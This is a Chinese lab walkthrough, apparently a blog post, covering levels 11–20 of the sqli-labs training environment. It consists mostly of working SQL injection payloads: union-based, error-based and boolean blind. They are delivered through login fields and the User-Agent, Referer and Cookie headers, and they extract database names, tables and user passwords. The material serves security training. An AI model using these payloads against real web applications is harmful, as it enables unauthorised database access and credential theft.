sqli-labs靶场通关攻略(11-20关)

Less-11

步骤一:测试万能密码登陆成功

步骤二:判断回显点

步骤三:查看数据库

1' union select 1,database()#

步骤四:查表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

步骤五:查看列

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #

步骤六:查看users表中所有数据

1' union select 1,group_concat(username,password) from users#

Less-12

 步骤一:测试万能密码登陆成功

步骤二:判断回显点

步骤三:查看数据库

1") union select 1,database() #

步骤四:查表名

1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

步骤五:查看列

1") union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #

步骤六:查看users表中所有数据

1") union select 1,group_concat(username,password) from users#

Less-13

 步骤一:1')  or 1=1#显示登录成功,1')  or 1=2#显示登录失败

没有回显点,使用报错注入

步骤二:查看数据库

1') and extractvalue(1,concat(1,(select database())))#

步骤三:查表名

1') and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security' )))#

步骤四:查看列

1') and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))#

步骤五:查看users表中所有数据

1') and extractvalue(1,concat(1,(select group_concat(username,password) from users)))#

Less-14

 步骤一:1"  or 1=1#显示登录成功,1"  or 1=2#显示登录失败

没有回显点,使用报错注入

步骤二:查看数据库

1" and extractvalue(1,concat(1,(select database())))#

步骤三:查表名

1" and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security' )))#

步骤四:查看列

1"and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))#

步骤五:查看users表中所有数据

1" and extractvalue(1,concat(1,(select group_concat(username,password) from users)))#

Less-15

步骤一:判断闭合方式

1' or 1=1 #

页面只有ture和flase两种情况,所以需要使用布尔盲注

步骤二:查看数据库

测试数据库长度

1' or length(database())=8#

测试数据库第一位字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面显示正常 说明数据库第一位字符ascii码大于114 :

1' or ascii(substr(database(),1,1))>114 #

判断数据库第一位字符的ascii码是否大于115 页面显示异常 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

1' or ascii(substr(database(),1,1))>115#

数据库第一位字符ascii码为115 's'。

............................最终得出数据库名为security

步骤三:查security数据库中第一张表的第一位字符

1' or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100#

1' or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101#

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

步骤四:判断users表中第一个字段的第一位字符

1' or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104#

1' or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105#



说明users表的第一个字段的第一位字符ascii码为105 'i'

............最终得出users表的第一个字段为id

步骤五:判断username列的第一条数据的第一个字符

1' or ascii(substr((select username from users limit 0,1),1,1))>67#

1' or ascii(substr((select username from users limit 0,1),1,1))>68#

说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'

...........最终得出users表里面的username字段的第一条数据为Dumb

Less-16

步骤一:判断闭合方式

1") or 1=1 #

页面只有ture和flase两种情况,所以需要使用布尔盲注

步骤二:查看数据库

测试数据库长度

1") or length(database())=8#

测试数据库第一位字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面显示正常 说明数据库第一位字符ascii码大于114 :

1") or ascii(substr(database(),1,1))>114 #

判断数据库第一位字符的ascii码是否大于115 页面显示异常 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

1") or ascii(substr(database(),1,1))>115#

数据库第一位字符ascii码为115 's'。

............................最终得出数据库名为security

步骤三:查security数据库中第一张表的第一位字符

1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100#

1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101#

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

步骤四:判断users表中第一个字段的第一位字符

1") or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104#

1") or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105#



说明users表的第一个字段的第一位字符ascii码为105 'i'

............最终得出users表的第一个字段为id

步骤五:判断username列的第一条数据的第一个字符

1") or ascii(substr((select username from users limit 0,1),1,1))>67#

1") or ascii(substr((select username from users limit 0,1),1,1))>68#

说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'

...........最终得出users表里面的username字段的第一条数据为Dumb

Less-17

步骤一:页面输入admin 123456 登录,回到Burp Suite 抓包,并且把抓到的数据发送到重放器上

步骤二:页面显示重置密码,所以在passwd后面判断闭合方式

123456'--+

步骤三:报错注入查看数据库

123456'and updatexml(1,concat(1,database()),1)--+

步骤四:查表名

123456' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

步骤五:查列名

123456' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

Less-18

步骤一:页面输入admin 123456 登录,回到Burp Suite 抓包,并且把抓到的数据发送到重放器上

步骤二:在User-agent后面进行注入测试,使用单引号成功报错确定其SQL注入

步骤三:判断闭合方式

1'and'

步骤四:采⽤报错注⼊函数获取其当前数据库名称

1'and updatexml(1,concat(1,database()),1)and'

步骤五:查表名

1'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and'

步骤六:查列名

1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and'

步骤七:查看users表中所有信息

1' and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)and'

Less-19

步骤一:页面输入admin 123456 登录,回到Burp Suite 抓包,并且把抓到的数据发送到重放器上

步骤二:在Referer后面进行注入测试,使用单引号成功报错确定其SQL注入

步骤三:判断闭合方式

'and'

 步骤四:采⽤报错注⼊函数获取其当前数据库名称

'and updatexml(1,concat(1,database()),1)and'

步骤五:查表名

1'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and'

步骤六:查列名

1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and'

步骤七:查看users表中所有信息

1' and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)and'

Less-20

 步骤一:页面输入admin 123456 登录,回到Burp Suite 抓包,并且把抓到的数据发送到重放器上

步骤二:在Cookie后面进行注入测试,使用单引号成功报错确定其SQL注入

步骤三:判断闭合方式

'--+

 步骤四:采⽤报错注⼊函数获取其当前数据库名称

'and updatexml(1,concat(1,database()),1)--+

步骤五:查表名

'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

步骤六:查列名

' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

步骤七:查看users表中所有信息

' and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)--+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值